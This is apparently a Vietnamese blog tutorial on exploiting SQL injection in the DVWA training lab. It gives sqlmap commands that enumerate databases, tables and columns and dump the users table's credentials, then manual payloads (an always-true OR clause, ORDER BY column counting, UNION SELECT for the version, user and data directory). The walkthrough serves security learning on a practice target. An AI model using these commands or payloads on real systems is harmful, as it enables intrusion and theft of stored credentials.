Bài này sẽ sử dụng 2 cách để khai thác:
1. dùng tool sqlmap (nếu chưa biết, các bạn xem tại đây: huong-dan-su-dung-sqlmap-trong-kali.html)
2. sử dụng phương pháp thủ công (có thể xem ví dụ khác tại: đây)
Phần 1: Dùng tool sqlmap
Lấy các thông tin: url, Cookie sử dụng wireshark
Bước 1: Trước tiên, chúng ta đi tìm Database cần khai thác.
-u : URL của website mục tiêu
--dbs : liệt kê danh sách các database
Đây là command:
sqlmap -u "http://dvwa_lab.com/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit'"--cookie="security=low; PHPSESSID=7btqaq7r7ur0dcmga1nfp4o5v7" --dbs
Bước 2: Tiếp đến, chúng ta lựa chọn database với -D , và liệt kê bảng trong database với --tables
sqlmap -u "http://dvwa_lab.com/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit'" --cookie="security=low; PHPSESSID=7btqaq7r7ur0dcmga1nfp4o5v7" -D dvwa --tables
Bước 3: chúng ta chọn bảng với -T và liệt kê cột với --columns
sqlmap -u "http://dvwa_lab.com/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit'" --cookie="security=low; PHPSESSID=7btqaq7r7ur0dcmga1nfp4o5v7" -D dvwa -T users --columns
Bước cuối cùng: sử dụng tham số -C để chọn cột user và password; và sử dụng --dump để đọc dữ liệu của cột ==> Việc còn lại là ngồi uống cafe và lấy thông tin.
sqlmap -u "http://dvwa_lab.com/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit'" --cookie="security=low; PHPSESSID=7btqaq7r7ur0dcmga1nfp4o5v7" -D dvwa -T users -C user,password --dump
kết quả tìm được: user/pass là admin/password
Phần 2: làm thủ công
Chúng ta thử đánh 1 số vào text box.
Như bạn thấy, 1 số thông tin được xuất ra màn hình. Theo cơ chế này thì kết quả được lấy ra từ database từ giá trị được nhập vào textbox và xuất ra màn hình. Câu truy vấn sql sẽ như sau:
SELECT first_name, last_name FROM users WHERE user_id = '$ id';
Bây giờ thay vì nhập 1 thì nhập 1' . Tương ứng với truy vấn sql
SELECT first_name, last_name FROM users WHERE user_id = ' 1 ' ;
SELECT first_name, last_name FROM users WHERE user_id = ' 1 ' ' ;
Lúc này trang web sẽ xảy ra lỗi.
Bây giờ, chúng ta nhập vào textbox nội dung sau: 99 'or' 1 '=' 1 '#
lệnh sql sẽ là:
SELECT first_name, last_name FROM users WHERE user_id = ' 99 'or' 1 '=' 1 '# ' ;
- số 99 ở trên không quan tâm, chúng ta có thể nhập bất cứ số nào.
- '1' = '1' thì có ý nghĩa (chưa rõ thì xem lại các bài sql injection trước đây) đây là phép toán luôn đúng. Nên nó sẽ thực thi truy vấn nay.
[hình]
Tìm số cột của database bằng ORDER BY
SQL query : select ... WHERE ... ORDER BY..
nếu có báo lỗi : Unknow column 'xx' in 'order clause' thì số cột sẽ là xx-1
Bây giờ, chúng ta thử lần lượt từ 1. Nhập vào textbox như sau:
99 'or' 1 '=' 1' order by 1# ==> không lỗi
99 'or' 1 '=' 1' order by 2# ==> không lỗi
99 'or' 1 '=' 1' order by 3# ==> xảy ra lỗi
==> vậy có 2 cột trong database hiện tại đang sử dụng.
Sử dụng UNION để khai thác thêm
Nhập vào textbox: 99 'or' 1 '=' 1 'UNION Select 1,2 #
==> tất cả các hàng sẽ được xuất ra màn hình.
Bây giờ tìm version() của database
99 'or' 1 '=' 1 'UNION Select 1,version() #
Tìm user : 99 'or' 1 '=' 1 'UNION Select 1,user() #
Tìm database: 99 'or' 1 '=' 1 'UNION Select 1,database() #
Tìm thư mục cài đặt database : 99 'or' 1 '=' 1 'UNION Select 1,@@datadir() #
còn tiếp...
Pages
Subscribe to:
Post Comments (Atom)
No comments:
Post a Comment